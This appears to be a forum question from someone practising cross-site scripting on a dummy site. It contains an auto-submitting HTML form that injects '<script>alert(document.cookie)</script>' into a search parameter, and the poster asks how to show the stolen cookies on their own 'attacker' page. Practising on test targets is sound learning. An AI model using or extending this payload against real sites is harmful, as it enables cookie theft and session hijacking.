Trying to practice XSS on dummy website. My end goal is to display the victim's cookies on my "attacker" site. Currently what I have is that when the user enters my site, it will pop up the dummy website and alert the cookies through javascript to the victims. Is there a way to make the alert to show up on my attacker site instead?
<!DOCTYPE html>
<head></head>
<body>
<form name ='xss_form' action='http://dummy_site.com/search' method="GET">
<input type='hidden' name='query' value='<script>alert(document.cookie)</script>'>
</form>
<iframe name="hiddenFrame" style='display:none'></iframe>
<script>
document.xss_form.submit();
</script>
</body>
The iframe is set up so that if there is a way to display the alert box on my attacker site instead, I can just set the form target to the iframe and prevent the popup of dummy_site.